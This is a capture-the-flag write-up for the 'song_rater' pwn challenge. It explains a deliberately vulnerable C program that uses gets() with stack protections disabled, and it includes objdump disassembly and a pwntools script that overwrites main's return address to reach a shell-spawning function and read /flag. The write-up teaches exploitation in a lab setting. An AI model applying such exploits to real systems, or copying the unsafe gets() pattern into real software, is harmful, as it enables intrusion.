Can you get this program to do what you want?

Category: pwn

Solver: jogius

Flag: GPNCTF{G00d_n3w5!_1t_l00ks_l1ke_y0u_r3p41r3d_y0ur_disk...}

This challenge provides us with four files: song_rater.c and a corresponding binary song_rater, as well as a run.sh script and the Dockerfile used for the server. Let’s take a look at the Dockerfile first.

Dockerfile

At first glance, this doesn’t really do anything interesting - the file simply defines two containers, one for compiling song_rater.c and one for serving the binary. Nothing about the package installation and serving really jumps out to me, so let’s take a look at the gcc line for compilation.

gcc -no-pie -fno-stack-protector -O0 song_rater.c -o song_rater

I’m not familiar with these gcc-flags, but I’m sure the manpages know something. Searching for stack-protector, they read -fstack-protector: Emit extra code to check for buffer overflows, such as stack smashing attacks. I suppose stack smashing is something to look for then.

Moreover, the no-pie flag is documented as Don't produce a dynamically linked position independent executable. Usually, binaries are loaded at random start addresses to make exploitation with hardcoded addresses harder. This flag disables this protection such that function addresses like those of main will be the same in every execution of the binary.

song_rater.c

Inside this file, we find the following C-code

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void scratched_record() {
        printf("Oh no, your record seems scratched :(\n");
        printf("Here's a shell, maybe you can fix it:\n");
        execve("/bin/sh", NULL, NULL);
}

extern char *gets(char *s);

int main() {
        printf("Song rater v0.1\n-------------------\n\n");
        char buf[0xff];
        printf("Please enter your song:\n");
        gets(buf);
        printf("\"%s\" is an excellent choice!\n", buf);
        return 0;
}

What immediately occurs to me is that the function scratched_record would give me a shell if it was called. Unfortunately, it’s not mentioned in the main-function at all.

However, we can see that the program allows us to give some input (gets, line 17) which is written into a buffer of 0xff = 255 characters. Luckily for us, gets doesn’t really care if we supply it with more characters than fit in the buffer - it doesn’t even know the size of the buffer. So we are able to overflow the buffer and write data into places we are not supposed to access. But how can we exploit this?

Before looking at anything, let’s think about the easiest ways the buffer overflow could help us. We know that (on x86 at least) functions are called by pushing the address of the next instruction onto the stack (return address) and then jumping to the instruction corresponding to the function. And when a function wants to return, it jumps back to the return address it finds on the stack. If the buffer buf was located before the return address of main on the stack, we should be able to overwrite the return address and make main return to scratched_record instead of exiting the program. We can take a look if that’s the case with objdump -D song_rater.

Assembly things

First things first, let’s make a small overview of the binary file - main is located at address0x4011d8 and scratched_record is located at 0x401196 (because of the no-pie gcc flag the addresses are fixed). Inside main, we want to see what address is passed into the gets function. For that, I looked at the main function as disassembled by objdump.

00000000004011d8 <main>:
  4011d8:	f3 0f 1e fa          	endbr64                        # rdi / rax - Parameter / return value
  4011dc:	55                   	push   %rbp                    # rbp - Stack Frame pointer
  4011dd:	48 89 e5             	mov    %rsp,%rbp               # rsp - Stack pointer
  4011e0:	48 81 ec 00 01 00 00 	sub    $0x100,%rsp             # rip - Instruction Pointer
  4011e7:	48 8d 05 72 0e 00 00 	lea    0xe72(%rip),%rax        # 402060 <_IO_stdin_used+0x60>
  4011ee:	48 89 c7             	mov    %rax,%rdi
  4011f1:	e8 7a fe ff ff       	call   401070 <puts@plt>
  4011f6:	48 8d 05 88 0e 00 00 	lea    0xe88(%rip),%rax        # 402085 <_IO_stdin_used+0x85>
  4011fd:	48 89 c7             	mov    %rax,%rdi
  401200:	e8 6b fe ff ff       	call   401070 <puts@plt>
  401205:	48 8d 85 00 ff ff ff 	lea    -0x100(%rbp),%rax
  40120c:	48 89 c7             	mov    %rax,%rdi
  40120f:	e8 8c fe ff ff       	call   4010a0 <gets@plt>
  401214:	48 8d 85 00 ff ff ff 	lea    -0x100(%rbp),%rax
  40121b:	48 89 c6             	mov    %rax,%rsi
  40121e:	48 8d 05 78 0e 00 00 	lea    0xe78(%rip),%rax        # 40209d <_IO_stdin_used+0x9d>
  401225:	48 89 c7             	mov    %rax,%rdi
  401228:	b8 00 00 00 00       	mov    $0x0,%eax
  40122d:	e8 4e fe ff ff       	call   401080 <printf@plt>
  401232:	b8 00 00 00 00       	mov    $0x0,%eax
  401237:	c9                   	leave
  401238:	c3                   	ret

We can see that at the beginning of the function, %rbp is pushed onto the stack. It is then overwritten with the value in %rsp and used to calculate the address passed to gets (lea -0x100(%rbp),%rax does this calculation). This means that the buffer is located 0x108 bytes before the return address of main - we just need to fill the buffer, overwrite the 8 bytes that saved %rbp on the stack and then modify the return address freely.

Exploiting the buffer overflow

I am using python and pwntools for the solve. Since the buffer is located 0x108 bytes before the main return address, we want to fill this space with any data - it doesn’t really matter with what. I decided to use the following line to send the character P 264 times.

r.send(b"P" * 0x108)

We then want to overwrite the return address with 0x401196. One important question is whether the binary is big-endian or little-endian, as that determines in what order we have to send the bytes of the address. We can find that out by using file song_rater, which tells us song_rater: ELF 64-bit LSB executable [...] (LSB = Least significant byte = little-endian). So we send our payload with

r.send(p64(0x401196, endian='little'))

which should give us a shell. From here, we could use r.interactive() and read the contents of /flag manually, the script I appended here simply uses cat /flag and ignores all output but the flag. Either way, we get the following flag:

GPNCTF{G00d_n3w5!_1t_l00ks_l1ke_y0u_r3p41r3d_y0ur_disk...}

Solve script

from pwn import *

# Open connection to remote
r = remote("<remote address>", "443", ssl=True)

# Fill buffer and 8 bytes to reach the return address of main
r.send(b"P" * 0x108)

# Overwrite return address with address of scratched_record method, newline to terminate gets function
r.sendline(p64(0x401196, endian='little'))

# Print the contents of /flag from shell we just got
r.sendline(b"cat /flag")

# Ignore 7 insignificant lines
for i in range(7):
    r.recvline()

# Print flag
print(r.recvline().decode().strip())

r.close()